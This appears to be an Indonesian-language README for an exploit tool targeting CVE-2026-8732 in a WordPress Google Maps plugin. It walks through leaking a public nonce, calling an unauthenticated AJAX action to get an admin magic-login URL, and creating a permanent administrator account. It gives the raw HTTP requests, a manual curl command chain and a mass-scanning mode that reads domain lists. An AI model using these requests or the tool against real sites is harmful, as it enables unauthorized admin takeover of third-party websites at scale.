┌──────────────────────────────────────────────────────────────┐
│  KELEMAHAN 1 — Endpoint Terekspos Tanpa Autentikasi        │
│  ▸ AJAX action didaftarkan dengan wp_ajax_nopriv_           │
│  ▸ Siapapun bisa mengakses tanpa login                      │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  KELEMAHAN 2 — Nonce Bocor di Halaman Publik               │
│  ▸ Objek wpgmp_local.nonce disematkan di setiap halaman    │
│  ▸ Penyerang bisa mengekstrak nonce dari HTML source        │
└──────────────────────┬───────────────────────────────────────┘
                       │
┌──────────────────────▼───────────────────────────────────────┐
│  KELEMAHAN 3 — Tidak Ada Pemeriksaan Hak Akses             │
│  ▸ Fungsi callback hanya memverifikasi nonce               │
│  ▸ Tidak ada current_user_can() — tidak ada pertahanan lain│
└──────────────────────────────────────────────────────────────┘

  ┌─────────┐   ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ FASE 1  │──▶│ FASE 2   │──▶│ FASE 3   │──▶│ FASE 4   │
  │ RESOLVE │   │ CHECK WP │   │ DETECT   │   │ VERSION  │
  │ HTTPS?  │   │ wp-content│   │ PLUGIN   │   │ ≤6.1.0?  │
  │ HTTP?   │   │ wp-login  │   │ wpgmp_   │   │ WAF?     │
  └─────────┘   └──────────┘   └──────────┘   └─────┬────┘
                                                      │ RENTAN
                                                      ▼
  ┌──────────────────────────────────────────────────────────┐
  │                    FASE 5 — EKSTRAKSI NONCE               │
  │                                                          │
  │  GRUP A (API)          GRUP B (Konten)      GRUP C      │
  │  ├─ M1: REST pages    ├─ M4: Sitemap XML   └─ M7: Slug  │
  │  ├─ M2: REST search   ├─ M5: Homepage links    Brute    │
  │  └─ M3: rest_route    └─ M6: RSS/Atom feed   Force     │
  │                                                          │
  │  Target: wpgmp_local.nonce = "fc-call-nonce"             │
  └──────────────────────────┬───────────────────────────────┘
                             │ NONCE DITEMUKAN
                             ▼
  ┌──────────┐   ┌──────────┐   ┌──────────┐
  │ FASE 6   │──▶│ FASE 7   │──▶│ FASE 8   │
  │ EXPLOIT  │   │ VERIFY   │   │ ADD ADMIN│
  │ POST AJAX│   │ Magic URL│   │ PERMANEN │
  │ nonce+   │   │ Cookie   │   │ REST API │
  │ check_   │   │ login    │   │ WP-Admin │
  │ temp=false│   │ check    │   │ Form     │
  └──────────┘   └──────────┘   └──────────┘
                                       │
                                       ▼
                               ✅ ADMIN DIBUAT
                               Login: wp_xxxx / pass
                               Role: administrator

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpgmp_temp_access_ajax
nonce=<EKSTRAKSI_NONCE>
check_temp=false

{"url":"https://target.com/?wpgmp_access=abc123def456"}

POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json

{
  "username": "wp_xxxxxxxx",
  "email": "user@localhost",
  "password": "Str0ng!Pass#2026",
  "roles": ["administrator"]
}

POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded

user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1                       <-- KUNCI: konfirmasi password lemah
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>

CVE-2026-8732.py
│
├── 📦 NonceFinder — Pencari nonce dengan 7 metode
│   ├── Grup A (API): M1 REST pages, M2 REST search, M3 rest_route
│   ├── Grup B (Konten): M4 Sitemap, M5 Homepage links, M6 RSS feed
│   └── Grup C (Paksa): M7 Slug brute force (30+ slug umum)
│
├── ⚔️ Exploiter — Mesin eksploitasi 8 fase
│   ├── resolve()           → Fase 1: Pemilihan protokol
│   ├── check_wp()           → Fase 2: Verifikasi WordPress
│   ├── detect_plugin()      → Fase 3: Deteksi plugin + early nonce
│   ├── detect_version()     → Fase 4: Deteksi versi + WAF
│   ├── exploit()            → Fase 6: Eksploitasi inti
│   ├── verify()             → Fase 7: Verifikasi login admin
│   └── add_admin()          → Fase 8: Tambah admin permanen
│
├── 🔧 Worker Process — Proses pekerja multiprocessing
│   ├── producer()           → Baca domain dari mp.Queue
│   └── consumer() (N)       → Eksekusi scan paralel
│
└── 🖥️ Scanner — Antarmuka pengguna
    ├── single()             → Mode target tunggal (interaktif)
    └── multi()              → Mode multi-target (massal)

  targets.txt          mp.Queue (tugas)         asyncio.Queue
  ┌─────────┐    ┌─────────────────┐    ┌──────────────────┐
  │ domain1 │───▶│  domain queue   │───▶│  internal queue  │
  │ domain2 │    │  (IPC antara    │    │  (per proses)    │
  │ domain3 │    │   proses)       │    └────────┬─────────┘
  │  ...    │    └─────────────────┘              │
  └─────────┘                          ┌─────────▼──────────┐
                                       │   Konsumen (N)      │
                                       │   Exploiter.scan()  │
                                       │   8 fase lengkap    │
                                       └─────────┬──────────┘
                                                 │
                                       ┌─────────▼──────────┐
                                       │  mp.Queue (hasil)   │──▶ vuln.txt
                                       │  + JSON + TXT       │    + debug.log
                                       └────────────────────┘

pip install aiohttp

python3 CVE-2026-8732.py

  [?] Pilih mode:
      1. Single Target
      2. Multi Target (file list)

  > 1

  [?] Target domain (tanpa http/https): target.com
  [?] Timeout [default: 15]: 15

python3 CVE-2026-8732.py

  [?] Pilih mode:
      1. Single Target
      2. Multi Target (file list)

  > 2

  [?] Path file target (.txt): targets.txt
  [?] Jumlah process [default: 10]: 10
  [?] Concurrency per process [default: 50]: 50
  [?] Timeout per request [default: 10]: 10
  [?] Output file [default: vuln.txt]: vuln.txt
  [?] Debug mode? (y/n) [default: n]: y

# LANGKAH 1: Ekstrak nonce dari halaman frontend
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"

# LANGKAH 2: Kirim payload eksploitasi
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"

# LANGKAH 3: Akses magic URL untuk login sebagai admin
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"

# LANGKAH 4: Verifikasi akses admin
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'

# LANGKAH 5: Buat admin permanen via REST API atau WP-Admin form

  ┌───────────────┐    ┌───────────────┐
  │  KONDISI 1    │ AND│  KONDISI 2    │
  │  Versi ≤6.1.0│    │  GOLD AKTIF   │
  │               │    │               │
  └───────┬───────┘    └───────┬───────┘
          │                    │
          ▼                    ▼
  Aksi nopriv        WPGMP_Temp_
  masih terdaftar    Access tersedia
          │                    │
          └────────┬─────────┘
                   ▼
             ✅ ADMIN DIBUAT

CVE-2026-8732/
├── CVE-2026-8732.py      # Skrip eksploitasi otomatis
├── README.md              # Dokumentasi proyek (file ini)
└── LICENSE                # MIT License

MIT License

Copyright (c) 2026 XENON1337

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.